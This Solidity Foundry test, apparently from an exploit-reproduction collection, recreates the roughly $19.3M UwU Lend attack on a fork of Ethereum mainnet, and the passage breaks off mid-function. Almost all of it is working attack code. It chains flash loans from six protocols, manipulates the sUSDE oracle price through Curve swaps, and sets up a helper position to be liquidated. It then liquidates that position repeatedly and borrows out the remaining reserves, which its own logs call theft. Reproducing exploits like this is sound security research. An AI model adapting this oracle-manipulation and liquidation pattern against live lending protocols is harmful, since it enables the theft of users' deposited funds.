~$19.3M\n// TX : https://app.blocksec.com/explorer/tx/eth/0x242a0fb4fde9de0dc2fd42e8db743cbc197ffa2bf6a036ba0bba303df296408b\n// Attacker : https://etherscan.io/address/0x841ddf093f5188989fa1524e7b893de64b421f47\n// Attack Contract : https://etherscan.io/address/0xf19d66e82ffe8e203b30df9e81359f8a201517ad\n// Vulnerable Contract : https://etherscan.io/address/0x2409af0251dcb89ee3dee572629291f9b087c668\n// GUY : https://x.com/peckshield/status/1800176089316163831\n\ninterface IcrvUSDController {\n function create_loan(uint256 collateral_amount, uint256 debt_amount, uint256 N) external;\n\n function repay(uint256 amount, address to, int256 max_fee, bool) external;\n}\n\ninterface IAaveOracle {\n function getAssetPrice(\n address asset\n ) external view returns (uint256);\n}\n\ninterface ISDAI is IERC20 {\n function redeem(uint256 amount, address to, address owner) external returns (uint256);\n}\n\ncontract UwuLend_First_exp is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 crvUSD = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);\n IERC20 USDE = IERC20(0x4c9EDD5852cd905f086C759E8383e09bff1E68B3);\n IERC20 GHO = IERC20(0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);\n IcrvUSDController crvUSDController = IcrvUSDController(0xA920De414eA4Ab66b97dA1bFE9e6EcA7d4219635);\n IcrvUSDController crvUSDWETHPool = IcrvUSDController(0x2409aF0251DCB89EE3Dee572629291f9B087c668);\n ISDAI sDAI = ISDAI(0x83F20F44975D03b1b09e64809B757c47f942BEeA);\n\n ICurvePool USDecrvUSDPool = ICurvePool(0xF55B0f6F2Da5ffDDb104b58a60F2862745960442);\n ICurvePool USDeDAIPool = ICurvePool(0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d);\n ICurvePool FRAXUSDePool = ICurvePool(0x5dc1BF6f1e983C0b21EfB003c105133736fA0743);\n ICurvePool GHOUSDePool = ICurvePool(0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61);\n ICurvePool USDCUSDePool = ICurvePool(0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72);\n ICurvePool MtEthena = ICurvePool(0x167478921b907422F8E88B43C4Af2B8BEa278d3A);\n\n Uni_Pair_V3 DAI_FRAX_Pair = Uni_Pair_V3(0x97e7d56A0408570bA1a7852De36350f7713906ec);\n Uni_Pair_V3 DAI_USDC_Pair = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);\n Uni_Pair_V3 USDC_WETH_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n Uni_Pair_V3 WBTC_WETH_Pair = Uni_Pair_V3(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0);\n\n IAaveFlashloan aaveFlashloan_1 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n IAaveFlashloan aaveFlashloan_2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n IAaveFlashloan sparkPool = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);\n IMorphoBuleFlashLoan morphoBlueFlashLoan = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\n IUniswapV3Flash FRAX_USDC_Pair = IUniswapV3Flash(0xc63B0708E2F7e69CB8A1df0e1389A98C35A76D52);\n IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IMakerDaoFlash makerDaoFlash = IMakerDaoFlash(0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA);\n\n ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);\n IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);\n IERC20 uSUSDE = IERC20(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);\n IERC20 uWETH = IERC20(0x67fadbD9Bf8899d7C578db22D7af5e2E500E13e5);\n IERC20 uWBTC = IERC20(0x6Ace5c946a3Abd8241f31f182c479e67A4d8Fc8d);\n IERC20 uDAI = IERC20(0xb95BD0793bCC5524AF358ffaae3e38c3903C7626);\n\n uint256 constant WETHMAXLTV = 8500; // 85%\n uint256 constant LiquidationThreshold = 9000; // 90%\n uint256 constant liquidationBonus = 11_000; // 110%\n\n ToBeLiquidatedHelper toBeLiquidatedHelper;\n BorrowHelper borrowHelper;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_061_318);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(crvUSD), \"crvUSD\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(sUSDE), \"sUSDE\");\n vm.label(address(USDE), \"USDE\");\n vm.label(address(GHO), \"GHO\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(FRAX), \"FRAX\");\n vm.label(address(crvUSDController), \"crvUSDController\");\n vm.label(address(crvUSDWETHPool), \"crvUSDWETHPool\");\n vm.label(address(USDecrvUSDPool), \"USDecrvUSDPool\");\n vm.label(address(USDeDAIPool), \"USDeDAIPool\");\n vm.label(address(FRAXUSDePool), \"FRAXUSDePool\");\n vm.label(address(GHOUSDePool), \"GHOUSDePool\");\n vm.label(address(USDCUSDePool), \"USDCUSDePool\");\n vm.label(address(MtEthena), \"MtEthena\");\n vm.label(address(aaveFlashloan_1), \"aaveFlashloan_1\");\n vm.label(address(aaveFlashloan_2), \"aaveFlashloan_2\");\n vm.label(address(sparkPool), \"sparkPool\");\n vm.label(address(morphoBlueFlashLoan), \"morphoBlueFlashLoan\");\n vm.label(address(FRAX_USDC_Pair), \"FRAX_USDC_Pair\");\n vm.label(address(BalancerVault), \"balancerVault\");\n vm.label(address(makerDaoFlash), \"makerDaoFlash\");\n vm.label(address(uwuLendPool), \"uwuLendPool\");\n vm.label(address(uwuPriceOracle), \"uwuPriceOracle\");\n vm.label(address(uSUSDE), \"uSUSDE\");\n vm.label(address(uWETH), \"uWETH\");\n vm.label(address(uWBTC), \"uWBTC\");\n vm.label(address(uDAI), \"uDAI\");\n vm.label(address(DAI_FRAX_Pair), \"DAI_FRAX_Pair\");\n vm.label(address(DAI_USDC_Pair), \"DAI_USDC_Pair\");\n vm.label(address(USDC_WETH_Pair), \"USDC_WETH_Pair\");\n vm.label(address(WBTC_WETH_Pair), \"WBTC_WETH_Pair\");\n vm.label(address(sDAI), \"sDAI\");\n }\n\n function testExploit() public {\n toBeLiquidatedHelper = new ToBeLiquidatedHelper();\n vm.label(address(toBeLiquidatedHelper), \"toBeLiquidatedHelper\");\n borrowHelper = new BorrowHelper();\n vm.label(address(borrowHelper), \"borrowHelper\");\n\n // 1. approve all\n console.log(\"1. approveAll \\n\");\n approveAll();\n\n // 2. flashLoan\n // 2.1 aave flashloan WETH and WBTC\n // 2.2 sparkPool flashloan WETH and WBTC\n // 2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI\n // 2.4 FRAX_USDC_Pair flashloan USDC and FRAX\n // 2.5 BalancerVault flashloan USDC\n // 2.6 makerDaoFlash flashloan DAI\n console.log(\"2. flashLoan\");\n flashLoan();\n\n // 3. exploit logic in onFlashLoan\n\n // 5. profit\n\n emit log_named_decimal_uint(\"\\n attacker profit\", WETH.balanceOf(address(this)), WETH.decimals());\n }\n\n // exploit logic\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n DAI.approve(address(makerDaoFlash), type(uint256).max);\n\n logFlashLoanAssets();\n\n // 3. Make bad debt (during liquidation process) position by sUSDE price manipulation\n console.log(\"\\n 3. Make bad debt (during liquidation process) position by sUSDE price manipulation \\n\");\n // 3.1 drive down sUSDE price\n console.log(\"3.1 drive down sUSDE price\");\n\n uint256 sUSDE_price_before = uwuPriceOracle.getAssetPrice(address(sUSDE));\n console.log(\"sUSDE price before\", sUSDE_price_before);\n\n driveDownsUSDEPrice();\n\n uint256 sUSDE_price_after = uwuPriceOracle.getAssetPrice(address(sUSDE));\n console.log(\"sUSDE price after\", sUSDE_price_after);\n emit log_named_decimal_uint(\n \"sUSDE price change ratio \", (sUSDE_price_before - sUSDE_price_after) * 1e8 / sUSDE_price_before, 8\n );\n\n // 3.2 deposit WBTC DAI sUSDE to uwuLendPool and set WBTC, DAI as collateral\n\n uwuLendPool.deposit(address(WBTC), WBTC.balanceOf(address(this)), address(this), 0);\n uwuLendPool.deposit(address(DAI), DAI.balanceOf(address(this)) - 30_000_000 ether, address(this), 0);\n uwuLendPool.deposit(address(sUSDE), sUSDE.balanceOf(address(this)), address(this), 0);\n uwuLendPool.setUserUseReserveAsCollateral(address(sUSDE), false);\n\n // 3.3 transfer WETH to toBeLiquidatedHelper contract and create sUSDE debt position to max ltv\n console.log(\"\\n 3.3 transfer WETH to toBeLiquidatedHelper contract and create sUSDE debt position to max ltv\");\n console.log(\"-------------------------------helper contract open position -----------------------------------\");\n\n WETH.transfer(address(toBeLiquidatedHelper), WETH.balanceOf(address(this)));\n toBeLiquidatedHelper.openPosition();\n addETHCollateralToHelper();\n toBeLiquidatedHelper.openPosition();\n\n (\n uint256 totalCollateral,\n uint256 totalDebt,\n uint256 availableBorrows,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n ) = uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));\n\n emit log_named_decimal_uint(\"to be liquidated position debt value\", totalDebt, 8);\n uint256 currentLTV = totalDebt * 1e4 / totalCollateral;\n emit log_named_decimal_uint(\"current ltv\", currentLTV, 4);\n emit log_named_decimal_uint(\"maxLtv\", WETHMAXLTV, 4);\n emit log_named_decimal_uint(\"current healthFactor\", healthFactor, 18);\n\n // 3.4 liquidation threshold reached by withdraw collateral\n console.log(\"\\n 3.4 liquidation threshold reached by withdraw collateral\");\n toBeLiquidatedHelper.withdrawCollateralToLiquidationThreshold();\n\n (totalCollateral, totalDebt,,,, healthFactor) = uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));\n currentLTV = totalDebt * 1e4 / totalCollateral;\n emit log_named_decimal_uint(\"current ltv\", currentLTV, 4);\n emit log_named_decimal_uint(\"maxLtv\", WETHMAXLTV, 4);\n emit log_named_decimal_uint(\"current healthFactor\", healthFactor, 18);\n\n console.log(\"------------------------helper contract was ready to be liquidated ------------------------------\");\n console.log(\"\");\n\n // 3.5 drive up sUSDE price\n console.log(\"3.5 drive up sUSDE price\");\n uint256 sUSDE_price_before_driveUp = uwuPriceOracle.getAssetPrice(address(sUSDE));\n console.log(\"sUSDE price before\", sUSDE_price_before_driveUp);\n\n driveUpsUSDEPrice();\n\n uint256 sUSDE_price_after_driveUp = uwuPriceOracle.getAssetPrice(address(sUSDE));\n console.log(\"sUSDE price after\", sUSDE_price_after_driveUp);\n emit log_named_decimal_uint(\n \"sUSDE price change ratio \",\n (sUSDE_price_after_driveUp - sUSDE_price_before_driveUp) * 1e8 / sUSDE_price_before_driveUp,\n 8\n );\n\n // 4. liquidate helper contract to theft assets from protocol\n\n console.log(\"\\n 4. liquidate helper contract to theft assets from protocol\");\n (totalCollateral, totalDebt,,, ltv, healthFactor) =\n uwuLendPool.getUserAccountData(address(toBeLiquidatedHelper));\n emit log_named_decimal_uint(\"total collateral value\", totalCollateral, 8);\n emit log_named_decimal_uint(\"total debt value\", totalDebt, 8);\n currentLTV = totalDebt * 1e4 / totalCollateral;\n emit log_named_decimal_uint(\"current ltv\", currentLTV, 4);\n emit log_named_decimal_uint(\"health factor\", healthFactor, 18);\n uint256 badDebtRatio = currentLTV * liquidationBonus / 1e4 - 1e4;\n emit log_named_decimal_uint(\"bad debt ratio\", badDebtRatio, 4);\n\n // 4.1 repeat liquidate helper contract\n console.log(\"\\n 4.1 repeat liquidate helper contract\");\n uwuLendPool.liquidationCall(\n address(WETH), address(sUSDE), address(toBeLiquidatedHelper), sUSDE.balanceOf(address(this)), true\n );\n while (uWETH.balanceOf(address(toBeLiquidatedHelper)) > 0) {\n uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), address(this));\n uwuLendPool.liquidationCall(\n address(WETH), address(sUSDE), address(toBeLiquidatedHelper), sUSDE.balanceOf(address(this)), true\n );\n }\n\n // 4.2 withdraw deposited collateral from uwuLendPool\n console.log(\"\\n 4.2 withdraw deposited collateral from uwuLendPool\");\n uwuLendPool.withdraw(address(WETH), WETH.balanceOf(address(uWETH)), address(this));\n uwuLendPool.repay(address(WETH), type(uint256).max, 2, address(this));\n uwuLendPool.withdraw(address(WETH), uWETH.balanceOf(address(this)), address(this));\n\n uwuLendPool.withdraw(address(WBTC), uWBTC.balanceOf(address(this)), address(this));\n uwuLendPool.withdraw(address(DAI), uDAI.balanceOf(address(this)), address(this));\n uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), address(this));\n\n emit log_named_decimal_uint(\n \"\\n attacker stolen uSUSDE balance\", uSUSDE.balanceOf(address(this)), uSUSDE.decimals()\n );\n uint256 stolenuSUSDEValue =\n uSUSDE.balanceOf(address(this)) * uwuPriceOracle.getAssetPrice(address(sUSDE)) / 1e18;\n emit log_named_decimal_uint(\"stolen uSUSDE value\", stolenuSUSDEValue, 8);\n\n uwuLendPool.deposit(address(sUSDE), 4_346_738_161_827_961_681_800_155, address(this), 0);\n uSUSDE.transfer(address(borrowHelper), uSUSDE.balanceOf(address(this)));\n\n // 4.3 Borrowing other assets with stolen sUSDE\n console.log(\"\\n 4.3 Borrowing other assets with stolen sUSDE\");\n borrowHelper.borrow();\n\n // 4.4 swap assets to repay flashloan\n console.log(\"\\n 4.4 swap assets to repay flashloan\");\n // swap USDE to crvUSD\n USDecrvUSDPool.exchange(0, 1, 4_207_072_750_824_992_858_620_994, 0, address(this));\n // swap USDE to DAI\n USDeDAIPool.exchange(0, 1, 10_922_948_419_648_084_328_018_472, 0, address(this));\n // swap USDE to FRAX\n FRAXUSDePool.exchange(1, 0, 22_726_036_777_489_049_150_148_818, 0, address(this));\n // swap USDE to GHO\n GHOUSDePool.exchange(1, 0, 3_839_532_488_615_605_211_975_616, 0, address(this));\n // swap USDE to USDC\n USDCUSDePool.exchange(0, 1, 13_004_083_286_363_350_285_706_546, 0, address(this));\n\n // repay crvUSD loan\n crvUSDController.repay(8_000_000 ether, address(this), type(int256).max, false);\n // swap GHO to USDE\n GHOUSDePool.exchange(0, 1, 6_514_807_919_582_140_746_012, 0, address(this));\n // swap sUSDE to sDAI\n sUSDE.approve(address(MtEthena), type(uint256).max);\n MtEthena.exchange(1, 0, 461_496_017_260_554_794_537_319, 0, address(this));\n sDAI.redeem(sDAI.balanceOf(address(this)), address(this), address(this));\n // swap crvUSD to USDE\n USDecrvUSDPool.exchange(1, 0, 13_674_859_859_068_798_018_828, 0, address(this));\n // swap USDC to USDE\n USDCUSDePool.exchange(1, 0, 192_649_121_137, 0, address(this));\n // swap USDE to USDC\n USDCUSDePool.exchange(0, 1, 5_476_157_462_097_941_699_706, 0, address(this));\n // swap FRAX to DAI\n DAI_FRAX_Pair.swap(\n address(this), false, 43_839_520_259_800_487_407_899, 88_130_155_430_238_081_648_620_165_685, \"\"\n );\n\n // swap DAI to USDC\n int256 swapAmount = int256(\n DAI.balanceOf(address(this)) - (100_786_052_157_846_064_524_359_193 + 500_000_000_000_000_000_000_000_000)\n );\n DAI_USDC_Pair.swap(address(this), true, swapAmount, 71_305_012_436_624_238_479_427, \"\");\n // swap USDC to WETH\n swapAmount = int256(USDC.balanceOf(address(this)) - 15_007_500_000_000);\n USDC_WETH_Pair.swap(address(this), true, swapAmount, 1_176_655_315_611_429_354_240_742_931_620_633, \"\");\n // swap WETH to WBTC\n WBTC_WETH_Pair.swap(address(this), false, -740_000_000, 38_270_603_846_108_809_178_175_541_220_721_878, \"\");\n\n bytes32 CALLBACK_SUCCESS = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n return CALLBACK_SUCCESS;\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (msg.sender == address(DAI_FRAX_Pair)) {\n FRAX.transfer(msg.sender, uint256(amount1Delta));\n } else if (msg.sender == address(DAI_USDC_Pair)) {\n DAI.transfer(msg.sender, uint256(amount0Delta));\n } else if (msg.sender == address(USDC_WETH_Pair)) {\n USDC.transfer(msg.sender, uint256(amount0Delta));\n } else if (msg.sender == address(WBTC_WETH_Pair)) {\n WETH.transfer(msg.sender, uint256(amount1Delta));\n }\n }\n\n function depositsUSDEBackToUWULendPool() external {\n uwuLendPool.deposit(address(sUSDE), sUSDE.balanceOf(address(this)), address(this), 0);\n }\n\n function addETHCollateralToHelper() internal {\n uwuLendPool.borrow(address(WETH), WETH.balanceOf(address(uWETH)), 2, 0, address(this));\n WETH.transfer(address(toBeLiquidatedHelper), WETH.balanceOf(address(this)));\n }\n\n function flashLoan() internal {\n console.log(\"\");\n\n console.log(\"2.1 aave flashloan WETH and WBTC\");\n address[] memory assets_1 = new address[](2);\n assets_1[0] = address(WETH);\n assets_1[1] = address(WBTC);\n uint256[] memory amounts_1 = new uint256[](2);\n amounts_1[0] = 159_053_162_780_836_655_603_083;\n amounts_1[1] = 1_480_000_000_000;\n uint256[] memory modes_1 = new uint256[](2);\n modes_1[0] = 0;\n modes_1[1] = 0;\n aaveFlashloan_1.flashLoan(address(this), assets_1, amounts_1, modes_1, address(0), \"\", 0);\n }\n\n function driveDownsUSDEPrice() internal {\n // mint crvUSD\n crvUSDController.create_loan(10_000 ether, 8_000_000 ether, 6);\n\n // swap USDE to crvUSD\n USDecrvUSDPool.exchange(0, 1, 8_730_453_498_050_216_501_648_556, 0, address(this));\n // swap USDE to DAI\n USDeDAIPool.exchange(0, 1, 14_477_791_691_163_726_567_797_192, 0, address(this));\n // swap USDE to FRAX\n FRAXUSDePool.exchange(1, 0, 46_652_158_056_743_271_680_044_538, 0, address(this));\n // swap USDE to GHO\n GHOUSDePool.exchange(1, 0, 4_925_427_200_616_322_077_942_681, 0, address(this));\n // swap USDE to USDC\n USDCUSDePool.exchange(0, 1, 14_886_912_832_938_992_141_787_347, 0, address(this));\n }\n\n function driveUpsUSDEPrice() internal {\n // swap crvUSD to USDE\n USDecrvUSDPool.exchange(1, 0, 12_924_955_610_043_587_089_395_372, 0, address(this));\n // swap DAI to USDE\n USDeDAIPool.exchange(1, 0, 25_373_741_448_450_577_167_233_296, 0, address(this));\n // swap FRAX to USDE\n FRAXUSDePool.exchange(0, 1, 69_315_752_743_500_180_119_051_361, 0, address(this));\n // swap GHO to USDE\n GHOUSDePool.exchange(0, 1, 8_765_879_316_233_443_559_385_780, 0, address(this));\n // swap USDC to USDE\n USDCUSDePool.exchange(1, 0, 27_858_597_561_515, 0, address(this));\n }\n\n // aaveFlashloan_1 callback\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n if (msg.sender == address(aaveFlashloan_1)) {\n WETH.approve(address(msg.sender), type(uint256).max);\n WBTC.approve(address(msg.sender), type(uint256).max);\n\n // aaveV2 flashloan WETH\n address[] memory assets_2 = new address[](1);\n assets_2[0] = address(WETH);\n uint256[] memory amounts_2 = new uint256[](1);\n amounts_2[0] = 40_000_000_000_000_000_000_000;\n uint256[] memory modes_2 = new uint256[](1);\n modes_2[0] = 0;\n aaveFlashloan_2.flashLoan(address(this), assets_2, amounts_2, modes_2, address(0), \"\", 0);\n return true;\n } else if (msg.sender == address(aaveFlashloan_2)) {\n WETH.approve(address(msg.sender), type(uint256).max);\n\n // 2.2 sparkPool flashloan WETH and WBTC\n console.log(\"2.2 sparkPool flashloan WETH and WBTC\");\n address[] memory assets_3 = new address[](2);\n assets_3[0] = address(WETH);\n assets_3[1] = address(WBTC);\n uint256[] memory amounts_3 = new uint256[](2);\n amounts_3[0] = 91_075_709_275_272_202_604_853;\n amounts_3[1] = 497_979_338_310;\n uint256[] memory modes_3 = new uint256[](2);\n modes_3[0] = 0;\n modes_3[1] = 0;\n sparkPool.flashLoan(address(this), assets_3, amounts_3, modes_3, address(0), \"\", 0);\n return true;\n } else if (msg.sender == address(sparkPool)) {\n WETH.approve(address(msg.sender), type(uint256).max);\n WBTC.approve(address(msg.sender), type(uint256).max);\n\n // 2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI\n console.log(\"2.3 morphoBlueFlashLoan flashloan sUSDE USDE DAI\");\n morphoBlueFlashLoan.flashLoan(address(sUSDE), 301_738_880_017_013_808_137_779_682, \"\");\n return true;\n }\n }\n\n function onMorphoFlashLoan(uint256 amounts, bytes calldata) external {\n if (amounts == 301_738_880_017_013_808_137_779_682) {\n sUSDE.approve(address(morphoBlueFlashLoan), type(uint256).max);\n morphoBlueFlashLoan.flashLoan(address(USDE), 236_934_023_171_356_495_803_977_358, \"\");\n } else if (amounts == 236_934_023_171_356_495_803_977_358) {\n USDE.approve(address(morphoBlueFlashLoan), type(uint256).max);\n morphoBlueFlashLoan.flashLoan(address(DAI), 100_786_052_157_846_064_524_359_193, \"\");\n } else if (amounts == 100_786_052_157_846_064_524_359_193) {\n DAI.approve(address(morphoBlueFlashLoan), type(uint256).max);\n\n // 2.4 FRAX_USDC_Pair flashloan USDC and FRAX\n console.log(\"2.4 FRAX_USDC_Pair flashloan USDC and FRAX\");\n FRAX_USDC_Pair.flash(address(this), 60_000_000_000_000_000_000_000_000, 15_000_000_000_000, \"\");\n }\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n // 2.5 BalancerVault flashloan USDC\n console.log(\"2.5 BalancerVault flashloan USDC\");\n address[] memory tokens = new address[](2);\n tokens[0] = address(GHO);\n tokens[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 4_627_557_475_392_554_171_233_727;\n amounts[1] = 38_413_346_774_514_588_021_409;\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n FRAX.transfer(address(msg.sender), 60_030_000_000_000_000_000_000_000);\n USDC.transfer(address(msg.sender), 15_007_500_000_000);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n // 2.6 makerDaoFlash flashloan DAI\n console.log(\"2.6 makerDaoFlash flashloan DAI \\n\");\n makerDaoFlash.flashLoan(address(this), address(DAI), 500_000_000_000_000_000_000_000_000, \"\");\n\n GHO.transfer(address(msg.sender), 4_627_557_475_392_554_171_233_727);\n WETH.transfer(address(msg.sender), 38_413_346_774_514_588_021_409);\n }\n\n function logFlashLoanAssets() internal {\n emit log_named_decimal_uint(\n \"Attacker WETH balance after flashloan\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WBTC balance after flashloan\", WBTC.balanceOf(address(this)), WBTC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker sUSDE balance after flashloan\", sUSDE.balanceOf(address(this)), sUSDE.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDE balance after flashloan\", USDE.balanceOf(address(this)), USDE.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker DAI balance after flashloan\", DAI.balanceOf(address(this)), DAI.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker FRAX balance after flashloan\", FRAX.balanceOf(address(this)), FRAX.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDC balance after flashloan\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker GHO balance after flashloan\", GHO.balanceOf(address(this)), GHO.decimals()\n );\n uint256 flashloan_value = WETH.balanceOf(address(this)) * 3500 + WBTC.balanceOf(address(this)) * 65_000 * 1e10\n + sUSDE.balanceOf(address(this)) + USDE.balanceOf(address(this)) + DAI.balanceOf(address(this))\n + FRAX.balanceOf(address(this)) + USDC.balanceOf(address(this)) * 1e12 + GHO.balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker flashloan USD value\", flashloan_value, 18);\n }\n\n function approveAll() internal {\n WETH.approve(address(uwuLendPool), type(uint256).max);\n DAI.approve(address(uwuLendPool), type(uint256).max);\n WBTC.approve(address(uwuLendPool), type(uint256).max);\n sUSDE.approve(address(uwuLendPool), type(uint256).max);\n crvUSD.approve(address(crvUSDController), type(uint256).max);\n WETH.approve(address(crvUSDController), type(uint256).max);\n WETH.approve(address(crvUSDWETHPool), type(uint256).max);\n\n crvUSD.approve(address(USDecrvUSDPool), type(uint256).max);\n USDE.approve(address(USDecrvUSDPool), type(uint256).max);\n FRAX.approve(address(FRAXUSDePool), type(uint256).max);\n USDE.approve(address(FRAXUSDePool), type(uint256).max);\n GHO.approve(address(GHOUSDePool), type(uint256).max);\n USDE.approve(address(GHOUSDePool), type(uint256).max);\n USDC.approve(address(USDCUSDePool), type(uint256).max);\n USDE.approve(address(USDCUSDePool), type(uint256).max);\n DAI.approve(address(USDeDAIPool), type(uint256).max);\n USDE.approve(address(USDeDAIPool), type(uint256).max);\n }\n}\n\ncontract ToBeLiquidatedHelper {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);\n ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);\n address uSUSDE = 0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6;\n IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);\n\n function openPosition() external {\n WETH.approve(address(uwuLendPool), type(uint256).max);\n uwuLendPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);\n uint256 sUSDE_price = uwuPriceOracle.getAssetPrice(address(sUSDE));\n\n (,, uint256 availableBorrows,,,) = uwuLendPool.getUserAccountData(address(this));\n while (availableBorrows >= sUSDE.balanceOf(address(uSUSDE)) * sUSDE_price / 10 ** sUSDE.decimals()) {\n uwuLendPool.borrow(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), 2, 0, address(this));\n sUSDE.transfer(address(msg.sender), sUSDE.balanceOf(address(this)));\n (bool success,) =\n address(msg.sender).call(abi.encodeWithSelector(bytes4(keccak256(\"depositsUSDEBackToUWULendPool()\"))));\n require(success, \"depositsUSDEBackToUWULendPool failed\");\n (,, availableBorrows,,,) = uwuLendPool.getUserAccountData(address(this));\n }\n\n uint256 lastAmount = availableBorrows * 10 ** sUSDE.decimals() / sUSDE_price;\n uwuLendPool.borrow(address(sUSDE), lastAmount, 2, 0, address(this));\n sUSDE.transfer(address(msg.sender), sUSDE.balanceOf(address(this)));\n }\n\n function withdrawCollateralToLiquidationThreshold() external {\n uint256 sUSDE_price = uwuPriceOracle.getAssetPrice(address(sUSDE));\n uint256 WETH_price = uwuPriceOracle.getAssetPrice(address(WETH));\n\n (\n uint256 totalCollateral,\n uint256 totalDebt,\n uint256 availableBorrows,\n uint256 currentLiquidationThreshold,\n uint256 ltv,\n uint256 healthFactor\n ) = uwuLendPool.getUserAccountData(address(this));\n uint256 maxWithdraw = totalCollateral - (totalDebt * 10_000 / currentLiquidationThreshold);\n maxWithdraw = maxWithdraw * 10 ** WETH.decimals() / WETH_price;\n uwuLendPool.withdraw(address(WETH), maxWithdraw, address(this));\n\n WETH.transfer(address(msg.sender), WETH.balanceOf(address(this)));\n }\n}\n\ncontract BorrowHelper {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 uWETH = IERC20(0x67fadbD9Bf8899d7C578db22D7af5e2E500E13e5);\n IERC20 sUSDE = IERC20(0x9D39A5DE30e57443BfF2A8307A4256c8797A3497);\n ILendingPool uwuLendPool = ILendingPool(0x2409aF0251DCB89EE3Dee572629291f9B087c668);\n IERC20 uSUSDE = IERC20(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 uWBTC = IERC20(0x6Ace5c946a3Abd8241f31f182c479e67A4d8Fc8d);\n IERC20 uDAI = IERC20(0xb95BD0793bCC5524AF358ffaae3e38c3903C7626);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 uUSDT = IERC20(0x24959F75d7BDA1884f1Ec9861f644821Ce233c7D);\n Uni_Pair_V3 USDT_WETH_Pair = Uni_Pair_V3(0x11b815efB8f581194ae79006d24E0d814B7697F6);\n\n IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);\n\n function borrow() external {\n uwuLendPool.borrow(address(DAI), DAI.balanceOf(address(uDAI)), 2, 0, address(this));\n uwuLendPool.borrow(address(USDT), USDT.balanceOf(address(uUSDT)), 2, 0, address(this));\n uwuLendPool.borrow(address(WETH), WETH.balanceOf(address(uWETH)), 2, 0, address(this));\n 